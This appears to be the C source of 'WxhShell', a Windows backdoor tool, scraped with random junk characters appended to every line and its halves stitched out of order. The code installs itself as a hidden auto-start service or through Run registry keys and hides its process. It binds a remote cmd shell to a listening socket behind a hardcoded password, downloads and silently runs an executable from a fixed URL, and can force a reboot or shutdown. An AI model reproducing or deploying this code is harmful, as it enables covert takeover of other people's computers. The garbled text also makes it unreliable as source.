    else { PQ#zF&gL9t  
    closesocket(wsh); +(pFU\&U3H  
    ExitThread(0); MYmH?A  
    } ik;S!S\v  
    break; 7V="/0a  
    } 0- =PP@W  
  // 获取shell 2i4&*& A  
  case 's': { y|+n77[Gv  
    CmdShell(wsh); \i2S'AblYq  
    closesocket(wsh); KeGGF]=>  
    ExitThread(0); c9 &LK J6  
    break; L] syD n  
  } >k)zd-  
  // 退出 <Rno ;  
  case 'x': { W/\M9  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); FEF $4)ROv  
    CloseIt(wsh); IHrG!owf  
    break; pO10L`|  
    } ;ATn&  
  // 离开 hd'JXKMy  
  case 'q': { gQ0W>\xz  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Cb1fTl%  
    closesocket(wsh); m j!P ]  
    WSACleanup(); "UVqHW1%K  
    exit(1); g?mfpwZj  
    break; PdkS3Hz  
        } S{l >|N2q  
  } G|LJOq7QB  
  } SXJ]()L?[v  
U.kTdNSp  
  // 提示信息 kgQyG[u  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Xh[02iL-  
}  (H*EZ  
  } Or2J  
"L)=Y7Dx  
  return; .Jvy0B} B  
} ,5 A&  
Vi5&%/Y  
// shell模块句柄 4b}94e@(N  
int CmdShell(SOCKET sock) zg[.Pws:E  
{ +Y9n@`  
STARTUPINFO si; )d^b\On  
ZeroMemory(&si,sizeof(si)); =a]B#uUn  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 0\X'a}8Bu  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; t#eTn";  
PROCESS_INFORMATION ProcessInfo; EYaX@|)  
char cmdline[]="cmd"; /BaXWrd+  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); $&@etsW0/  
  return 0; Y;B#_}yF  
} {T=rsPp<@  
}vof| (Yh  
// 自身启动模式 J=OWXL!<a  
int StartFromService(void) ;'fn{j6C  
{ mKh <M)Bz  
typedef struct l0sBXs`3b  
{ M,WC+")Z=  
  DWORD ExitStatus; 4hLv"R.  
  DWORD PebBaseAddress; R c.8j,]  
  DWORD AffinityMask; a+_F^   
  DWORD BasePriority; E{#Y=  
  ULONG UniqueProcessId; n@e[5f9?x  
  ULONG InheritedFromUniqueProcessId; L74Sx0nk=  
}   PROCESS_BASIC_INFORMATION; g 218%i  
$At,D.mGkb  
PROCNTQSIP NtQueryInformationProcess; |TE\]  
rf:C B&u  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; LqOjVQxz  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ~p'DPg4  
` g5S  
  HANDLE             hProcess; w*-1*XNA  
  PROCESS_BASIC_INFORMATION pbi; l*0`{R  
gvi]#|  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); \NN5'DBx  
  if(NULL == hInst ) return 0; Ts~)0  
wsg u# as|  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); aDreN*n  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Z?o?"|o  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); .}6Mj]7?i  
jh*aD=y  
  if (!NtQueryInformationProcess) return 0;  =>Md>VM  
4t<l9Ilp  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); c{SD=wRt,y  
  if(!hProcess) return 0; U}]uPvu  
?4 &C)[^  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; :: 2pDtMS  
(wtw1E5X  
  CloseHandle(hProcess); %!_%%p,f  
1}$GVb%i  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); HNj6Iw  
if(hProcess==NULL) return 0; HxXCxI3  
iOO1\9{@  
HMODULE hMod; A` iZ"?  
char procName[255]; 5csqu^/y  
unsigned long cbNeeded; w&E*{{otJ  
B&Igm<72x  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); B,]:<1l~  
1sHaG  
  CloseHandle(hProcess); '+Gy)@c  
nnm9pnx  
if(strstr(procName,"services")) return 1; // 以服务启动 ;%V%6:5  
a=!I(50  
  return 0; // 注册表启动 IRxFcLk  
} J|Xu]fg0  
8UANB]@Y}  
// 主模块 \1p_6U7  
int StartWxhshell(LPSTR lpCmdLine) @A-^~LoP.  
{ \EC=#E(  
  SOCKET wsl; |4XR [eX  
BOOL val=TRUE; =?, dX  
  int port=0; )7j CEA03  
  struct sockaddr_in door; Y8fahQ#  
@fVCGV?'  
  if(wscfg.ws_autoins) Install(); I'NE>!=Q  
J:c]z9&!  
port=atoi(lpCmdLine); \AT]$`8@_  
MDo4{7  
if(port<=0) port=wscfg.ws_port; >;;tX3(  
bLHj<AX#>|  
  WSADATA data; H(1( H0Kj"  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; P9RIX;A=  
WG_20JdJY  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ,3zF_y(*Y  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); l5m5H,`  
  door.sin_family = AF_INET; iSZiJ4AUq  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); .kGlUb?^Q  
  door.sin_port = htons(port); l u^fKQ  
nn"Wn2ciS  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { #e!4njdM  
closesocket(wsl); X2MQa:yksP  
return 1; y,*>+xk,  
} DM-8azq $  
u I \zDR  
  if(listen(wsl,2) == INVALID_SOCKET) { Vo\RtM/6{  
closesocket(wsl); [;Q8xvVZ'  
return 1; kJJUu  
} KXgC]IO~  
  Wxhshell(wsl); qX GAlCq@  
  WSACleanup(); G$5N8k[2  
f|*vWHSM  
return 0; ~)zoIM\  
r/![ohrEB  
} S[b)`Wi D  
,u^S(vxyz  
// 以NT服务方式启动 `FP)-^A8  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) "rjqDpH  
{ 6;lJs,I1w{  
DWORD   status = 0; pX:FXzYQ  
  DWORD   specificError = 0xfffffff; m})q8b!S  
93Yo }6>  
  serviceStatus.dwServiceType     = SERVICE_WIN32; +P7A`{Ae  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; \;?=h  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ::y+|V/  
  serviceStatus.dwWin32ExitCode     = 0; OAc*W<Q0  
  serviceStatus.dwServiceSpecificExitCode = 0; ,_ XDCu @  
  serviceStatus.dwCheckPoint       = 0; VK*2`Z1  
  serviceStatus.dwWaitHint       = 0; ZD9UE3-  
s<I[)FQVr  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 6 1= ?(Iw  
  if (hServiceStatusHandle==0) return; [mSK!Y@u  
~HwY?[}!m  
status = GetLastError(); CjzfU*G  
  if (status!=NO_ERROR) 8 oHyNo  
{ g& y R-  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; OXC7 m  
    serviceStatus.dwCheckPoint       = 0; ?"p:6%GFz  
    serviceStatus.dwWaitHint       = 0; JM#jg-z,~  
    serviceStatus.dwWin32ExitCode     = status; 7-M$c7S  
    serviceStatus.dwServiceSpecificExitCode = specificError; X517PT8O  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); @15%fX`*o  
    return; v^aARIg  
  } !8"516!d|p  
fCSM#3|,]  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; j:%~:  
  serviceStatus.dwCheckPoint       = 0; {4Q4aL(  
  serviceStatus.dwWaitHint       = 0; M%wj6!5  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); XelY?Ph,,  
} D?rQQxb  
5|ih>?C/(  
// 处理NT服务事件,比如:启动、停止 (lhbH]I  
VOID WINAPI NTServiceHandler(DWORD fdwControl) kb?QQ\e  
{ k--.g(T  
switch(fdwControl) 1\7SiQ-  
{ eR(PY{  
case SERVICE_CONTROL_STOP: 5=g{%X  
  serviceStatus.dwWin32ExitCode = 0; 29g("(}TK  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 4A%O`&eZ  
  serviceStatus.dwCheckPoint   = 0; WigC'  
  serviceStatus.dwWaitHint     = 0; cO2 .gQo'  
  { tvptaw A.  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); &oevgG  
  } M:OY8=V  
  return; .J3lo:  
case SERVICE_CONTROL_PAUSE: >9D=PnHnD  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; or/Y"\-!  
  break; x%ZjGDFm  
case SERVICE_CONTROL_CONTINUE: GEq?^z~i  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; rr2'bf<]  
  break; w%cd $"EH  
case SERVICE_CONTROL_INTERROGATE: __""!Yz  
  break; GLA,,i'i9  
}; g% :Q86u  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); mq~7v1kw  
} w}<BO> z  
y";{k+  
// 标准应用程序主函数 5tR<aIf  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) )'M<q,@<(  
{ )Y@  
7Xv.C&jzd  
// 获取操作系统版本 FsZF>vaV  
OsIsNt=GetOsVer(); /ocdAW`0  
GetModuleFileName(NULL,ExeFile,MAX_PATH); E/:<9xl  
38 Lc|w  
  // 从命令行安装 aYe,5dK>  
  if(strpbrk(lpCmdLine,"iI")) Install(); RX:\@c&  
Ul OoMGg  
  // 下载执行文件 7ZS 5u+o  
if(wscfg.ws_downexe) { =-{+y(<"r  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) M cE$=Vv  
  WinExec(wscfg.ws_filenam,SW_HIDE); t#oY|G3O}  
} y[S 5  
{Q^P<  
if(!OsIsNt) { FJo N"X  
// 如果时win9x,隐藏进程并且设置为注册表启动 AV AF!Z  
HideProc(); 3> -/sii  
StartWxhshell(lpCmdLine); 2|(J<H  
} [zIX&fPk$  
else ; P I=jp  
  if(StartFromService()) x;lIw)Ti  
  // 以服务方式启动 0)-l9V  
  StartServiceCtrlDispatcher(DispatchTable); O9oVx4=  
else k&ujr:)5Y5  
  // 普通方式启动 Jg3}U j2By  
  StartWxhshell(lpCmdLine); 5NbI Vz  
3Z NYR'  
return 0; J`;G9'n2  
} e`'O!  
:51Q~5k4  
=El.uBz{  
8(q4D K\5u  
=========================================== %I;ej{*c  
]K?z|&N|HK  
~d?7\:n  
beEdH>  
`,tv&siSA  
/!oi`8D  
" oHB51< }  
0FsGqFt  
#include <stdio.h> u2y?WcMv  
#include <string.h> V' "p a  
#include <windows.h> qbu Lcy3  
#include <winsock2.h> 1wuLw Ad  
#include <winsvc.h> -o6K_R}R  
#include <urlmon.h> 8V`r*:\  
1Jc-hrN-  
#pragma comment (lib, "Ws2_32.lib") 0wB ?U~  
#pragma comment (lib, "urlmon.lib") ^4x(a&  
a"EP`  
#define MAX_USER   100 // 最大客户端连接数 &`Q0&8d5  
#define BUF_SOCK   200 // sock buffer KR%p*Nh+C  
#define KEY_BUFF   255 // 输入 buffer N-]h+Cnyu  
ko@I]gi2  
#define REBOOT     0   // 重启 b)(#/}jMkD  
#define SHUTDOWN   1   // 关机 &Ph@uZ\  
{6~v oVkj  
#define DEF_PORT   5000 // 监听端口 ueDG1)  
HGs.v}@&  
#define REG_LEN     16   // 注册表键长度 ;VeC(^-eh6  
#define SVC_LEN     80   // NT服务名长度 }I}RqD:`  
^F5[2<O/!  
// 从dll定义API ,;y 5Mu8  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); f}Eoc>n  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); :R{Xd{?  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); %L:e~*  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); X2(TuR*t  
VT?J TW  
// wxhshell配置信息 h35x'`g7+r  
struct WSCFG { l131^48U  
  int ws_port;         // 监听端口 -@Mr!!t?N  
  char ws_passstr[REG_LEN]; // 口令 &`0y<0z  
  int ws_autoins;       // 安装标记, 1=yes 0=no lJpD>\$}@R  
  char ws_regname[REG_LEN]; // 注册表键名 *e H[~4  
  char ws_svcname[REG_LEN]; // 服务名 *^ \xH,.  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 q!$ZBw-7>A  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 <QQgOaS`2  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 8h=H\v^f  
int ws_downexe;       // 下载执行标记, 1=yes 0=no $T8Ni!#/C  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" o_t2 Z  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ,u-i9`B  
6P;IKOv^  
}; J1cD)nM<A  
AH;0=<n  
// default Wxhshell configuration 8RVNRV@g%  
struct WSCFG wscfg={DEF_PORT, b&"=W9(V  
    "xuhuanlingzhe", UN'hnqC  
    1, cAM1\3HWT"  
    "Wxhshell",  4>uz'j<  
    "Wxhshell", ?=dyU(  
            "WxhShell Service", I?c# T Rm  
    "Wrsky Windows CmdShell Service", ;gc Q9L  
    "Please Input Your Password: ", 0\qbJ  
  1, ?y>xC|kt  
  "http://www.wrsky.com/wxhshell.exe", "(F>?pq  
  "Wxhshell.exe" u3R0_8 _.w  
    }; w{#K.dx  
F[ N{7C3  
// 消息定义模块 cR[)[9}  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 4xk'R[v  
char *msg_ws_prompt="\n\r? for help\n\r#>"; DM/J,q  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; @`G_6 <.`  
char *msg_ws_ext="\n\rExit."; w}zl=w{G  
char *msg_ws_end="\n\rQuit."; tQ< ou,   
char *msg_ws_boot="\n\rReboot..."; PPU,o8E+  
char *msg_ws_poff="\n\rShutdown..."; ;Z-xum{  
char *msg_ws_down="\n\rSave to "; ^:5 ;H=.  
T;w%-k\<r  
char *msg_ws_err="\n\rErr!"; @aN<nd`q)  
char *msg_ws_ok="\n\rOK!"; .n[!3X|d  
3o9`Ko0  
char ExeFile[MAX_PATH]; {wih)XNY  
int nUser = 0; }\|$8~  
HANDLE handles[MAX_USER]; ?w`uv9NUJ8  
int OsIsNt; 1/c7((]7(,  
'*MNRduE6  
SERVICE_STATUS       serviceStatus;  Aa[p7{e  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; MLtfi{;LH  
4ZrX= e,  
// 函数声明 /zMiy?  
int Install(void); (s4w0z  
int Uninstall(void); a)^f`s^aa  
int DownloadFile(char *sURL, SOCKET wsh); wo5"f}vd#  
int Boot(int flag); /B.\6  
void HideProc(void); ;Xk-hhR  
int GetOsVer(void); <]eWr:;  
int Wxhshell(SOCKET wsl); 'e_^s+l)a  
void TalkWithClient(void *cs); ~Os"dAgZFY  
int CmdShell(SOCKET sock); wASgdGoy  
int StartFromService(void); 5"%r,GMU  
int StartWxhshell(LPSTR lpCmdLine); @(Wx(3JR?}  
(zIP@ H  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); [wWip1OR  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Vcz ExP  
Q#Q]xJH  
// 数据结构和表定义 7tP?([o%F  
SERVICE_TABLE_ENTRY DispatchTable[] = {P"$;_Y"<  
{ Y!c RzQ  
{wscfg.ws_svcname, NTServiceMain}, 7(rNJPrU~=  
{NULL, NULL} Eo 5p-  
}; .Qm"iOyM  
[g`9C!P-G  
// 自我安装 ~B;kFdcVXn  
int Install(void) <^snS,06  
{ `[3Iz$K=  
  char svExeFile[MAX_PATH]; fw$/@31AP?  
  HKEY key; B38_1X7  
  strcpy(svExeFile,ExeFile); 9\ZlRYnc=  
#_0OYL`(mE  
// 如果是win9x系统,修改注册表设为自启动 nAPSs]D  
if(!OsIsNt) { f2ygN6(>  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 0O<g) %Vz>  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); @8E mY,{;  
  RegCloseKey(key); l5_RG,O0A  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { <^q4^Q[  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); |TL&#U  
  RegCloseKey(key); Wj.f$U 4  
  return 0; ^ZV1Ev8T6  
    } G8dC5+h  
  } Zz}Wg@&  
} J}U);A  
else { nI7G"f[%r;  
d.Wq@(ZoA  
// 如果是NT以上系统,安装为系统服务 mR U-M|  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); l/0"'o_0v#  
if (schSCManager!=0) rDFD rviW_  
{ p vone,y2  
  SC_HANDLE schService = CreateService VM=A#}  
  ( cdiDfiE  
  schSCManager, r LQBaT7t#  
  wscfg.ws_svcname, UJ0fYTeuI  
  wscfg.ws_svcdisp, ziZLw$ )  
  SERVICE_ALL_ACCESS, lz=$Dz  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ;D.a |(Q  
  SERVICE_AUTO_START, "P.H  
  SERVICE_ERROR_NORMAL, aVkgE>  
  svExeFile, 9RA~#S|(T  
  NULL, qd$Y"~Mco  
  NULL, r+%:rFeX  
  NULL, _`3'D`s  
  NULL, zURxXo/\V  
  NULL ?^I\e{),c  
  ); =nPIGI72VO  
  if (schService!=0) !bs{/?  
  { 4@ EY+p  
  CloseServiceHandle(schService); E57:ap)/  
  CloseServiceHandle(schSCManager); u'Ja9m1  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); z}?*1c  
  strcat(svExeFile,wscfg.ws_svcname); pT3p!/pl3  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ,@I_b  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); @ 3n;>oi  
  RegCloseKey(key);  uP|Py.+  
  return 0; -Pds7}F8  
    } tFlLKziU  
  } A"|y<  
  CloseServiceHandle(schSCManager); zgre&BV0q  
} /$ a>f>EJ  
} .*N]SbU<8  
2XoFmV),F  
return 1; yTt,/+I%gJ  
} ;rwjqUDBz  
$ZnLYuGb  
// 自我卸载 n1 k2<BU4b  
int Uninstall(void) /mS|Byx  
{ ~V#MI@]V~  
  HKEY key; Gg'sgn   
9Q\CJ9  
if(!OsIsNt) { GxH]  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { NMaZ+g!t(  
  RegDeleteValue(key,wscfg.ws_regname); rq#8}T>  
  RegCloseKey(key); Oz8"s4Y7  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ZiR },F/  
  RegDeleteValue(key,wscfg.ws_regname); Q=B>Q  
  RegCloseKey(key); )y~FeKh  
  return 0; {tS^Q*F  
  } Ih Yso7g  
} hA?Flq2QV  
} 1P8XVI'  
else { "gt-bo.,  
_:N+mEF  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); kSL7WQe?j  
if (schSCManager!=0) )I~U&sT\/  
{ MH wjJ  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); \xCI8 *W  
  if (schService!=0) Z<_"Tk;!',  
  { nK!yu?mS  
  if(DeleteService(schService)!=0) { dUt$kB  
  CloseServiceHandle(schService); c> SFt tbU  
  CloseServiceHandle(schSCManager); N@qP}/}8  
  return 0; ,\){-H/n  
  } \,n|V3#G  
  CloseServiceHandle(schService); $ ,:3I*}be  
  } ;`")3~M3*  
  CloseServiceHandle(schSCManager); p :v'"A}  
} c+BD37S  
} iX&eQ{LB  
7LFJi@*8  
return 1; \C{Dui) F  
} a*hWODYn  
-RLY.@'d-M  
// 从指定url下载文件 95XQ?%  
int DownloadFile(char *sURL, SOCKET wsh) @Sr{6g*I  
{ b(E}W2-t  
  HRESULT hr; Ru&>8Ln0  
char seps[]= "/"; Pv#Oea?  
char *token; "V= IG{.  
char *file; 24g\x Nnt  
char myURL[MAX_PATH]; *\-$.w)k  
char myFILE[MAX_PATH]; thU9s%,  
QLPb5{>KDS  
strcpy(myURL,sURL); c 5%uiv]  
  token=strtok(myURL,seps); *XU2%"Sc  
  while(token!=NULL) cD%_+@GaU  
  { ^cz4nW<  
    file=token; 3 P=I)q  
  token=strtok(NULL,seps); mhNX05D  
  } ?lPn{oB9"  
iJ&jg`"=F  
GetCurrentDirectory(MAX_PATH,myFILE); w *pTK +  
strcat(myFILE, "\\"); =,Zkg(M  
strcat(myFILE, file); /g`!Zn8a  
  send(wsh,myFILE,strlen(myFILE),0); A3 uF 0A  
send(wsh,"...",3,0); b)[2t^zG  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); =#Z+WD-E  
  if(hr==S_OK) q\$k'(k>35  
return 0; 0X<U.Sxn  
else o#Viz:  
return 1; nb~592u  
Dq~ \U&U\$  
} mB5Sm|{  
j[RY  
// 系统电源模块 KXiStwS  
int Boot(int flag) u~~H'*EM  
{ %Q080Ltet  
  HANDLE hToken; t?(fDWd|-  
  TOKEN_PRIVILEGES tkp; 3 ,f3^A  
'lMDlTU O  
  if(OsIsNt) { <~Oy3#{  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); wVmQE  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Qx_]oz]NY  
    tkp.PrivilegeCount = 1; b{Bef*`/  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; pSl4^$2XR  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 6pdek3pOCt  
if(flag==REBOOT) { v8y !zo'  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) @s|G18@  
  return 0; m7|S'{+!  
} [y&uc  
else { |%g)H,6c  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) w+Y_TJ%  
  return 0; 9 >"}||))  
} .Q!pQ"5  
  } Ms=N+e$n  
  else { F|&%Z(@a  
if(flag==REBOOT) { v:gdG|n"  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Sw.Kl 0M  
  return 0; Rr0]~2R  
} '[vC C'  
else { #OwxxUeZ  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) = G>Y9Sc  
  return 0; c{3P|O&.  
} 0O?\0k;o  
} AbL(F#{  
RN2z/F Uf  
return 1; "9IR|  
} ;qs^+  
)S9}uOG#  
// win9x进程隐藏模块 .umN>/o[  
void HideProc(void) ge]Z5E(1  
{ )Vo%}g?6!  
zHD 8 \*  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Jow{7@FG  
  if ( hKernel != NULL ) v)aV(Oa  
  { (_R!:H(]m  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); : cPV08i  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); sWKv> bx  
    FreeLibrary(hKernel); %3yrX>Js  
  } 63'L58O  
j>3Fwg9V  
return; ,U~in)\ U  
} g,B@*2Uj  
Rl'xEtaN  
// 获取操作系统版本 ,x utI  
int GetOsVer(void) t$PJ*F67M  
{ lNMJcl3  
  OSVERSIONINFO winfo; cR/e Zfl  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); BkB9u&s^  
  GetVersionEx(&winfo); AMN`bgxW  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ypNeTR$4  
  return 1; Ky*xAx:  
  else H'I5LYsXO~  
  return 0; |!J_3*6$>*  
} orFB*{/Z  
;\]DZV4?)r  
// 客户端句柄模块 212 =+k  
int Wxhshell(SOCKET wsl) +&* >FeJY  
{ 2<*Yq 8  
  SOCKET wsh; t&-c?&FO\;  
  struct sockaddr_in client; uN0'n}c;1.  
  DWORD myID; qv`:o `  
_I%mY!x\`  
  while(nUser<MAX_USER) a?)g>e HN  
{ n65fT+;  
  int nSize=sizeof(client); !v*#E{r"g=  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); J?Rp  
  if(wsh==INVALID_SOCKET) return 1; ]0pI6"  
iHWt;]  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Lve$H(GHT  
if(handles[nUser]==0) 5;[0Q  
  closesocket(wsh); Y5TBWcGU%  
else `Mo%)I<`=  
  nUser++; s%?<:9  
  } &WdP=E"  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 0qBXL;sE  
e XdH)|l,\  
  return 0; %Ip=3($Ku[  
} +PO& z!F  
xH-} <7  
// 关闭 socket 5 d|+c<  
void CloseIt(SOCKET wsh) vf`]  
{ $-)y59w"  
closesocket(wsh); e co=ia  
nUser--; os(}X(   
ExitThread(0); dTVM !=  
} Z8pZm`g)T  
i{PX=  
// 客户端请求句柄 qche7kg!a  
void TalkWithClient(void *cs) 2aQ}| `  
{ ^N~Jm&I  
j MA%`*r  
  SOCKET wsh=(SOCKET)cs; T f^O(  
  char pwd[SVC_LEN]; !v3wl0  
  char cmd[KEY_BUFF]; UOI Z8Po  
char chr[1]; tWdP5vfp  
int i,j; Zn'y"@%t[  
(yz8}L3  
  while (nUser < MAX_USER) { 3*b!]^d:D  
5xG/>f n  
if(wscfg.ws_passstr) { W/;qMP1"-  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); O0"&wvR+5  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); F^');8~L  
  //ZeroMemory(pwd,KEY_BUFF); v aaZ  
      i=0; t,;b*ZR  
  while(i<SVC_LEN) { 2qkC{klC^M  
wmPpE_ {  
  // 设置超时 7h/{F({r=  
  fd_set FdRead; >JhIRf  
  struct timeval TimeOut; jNseD  
  FD_ZERO(&FdRead); i@d@~M7/  
  FD_SET(wsh,&FdRead); BcoE&I?[m|  
  TimeOut.tv_sec=8; YuDNm}r[  
  TimeOut.tv_usec=0; k4 %> F  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); v6?<)M%  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Qod2m$>wp}  
Jh:-<xy)  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ("BFI  
  pwd=chr[0]; l@YpgyqaL  
  if(chr[0]==0xd || chr[0]==0xa) { Ljxn}):[  
  pwd=0; #Ryu`b  
  break;  yQ8H-a.  
  } `o*g2fW!  
  i++; >heih%Ar0J  
    } Cj):g,[a  
I@q>ES!1H  
  // 如果是非法用户,关闭 socket wh:`4Yw  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ;7<a0HZ5!  
} +=@Z5eu  
BmUzsfD  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); tg5jS]O  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ikRIL2Y  
A1f]HT  
while(1) { *id|za|:k  
a^5`fA/L,  
  ZeroMemory(cmd,KEY_BUFF); TJ5{Ee GV  
qkUr5^1  
      // 自动支持客户端 telnet标准   1y"37;x  
  j=0; qc'tK6=jp  
  while(j<KEY_BUFF) { P[nWmY  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); e?lqs,m@"  
  cmd[j]=chr[0]; ,em6wIq,  
  if(chr[0]==0xa || chr[0]==0xd) { -{b1&  
  cmd[j]=0; #CQ>d8&  
  break; 16G v? I h  
  } _@prv7e  
  j++; -;`W"&`ss  
    } JcVq%~ {M  
BtHvfoT  
  // 下载文件 M9OFK\)  
  if(strstr(cmd,"http://")) { =OZ_\vO  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); {M~!?# <K  
  if(DownloadFile(cmd,wsh)) /l$noaskX  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); V!<#E)-?<  
  else t+(CAP|,  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); z:G9Uu3H(  
  } +Ae.>%}  
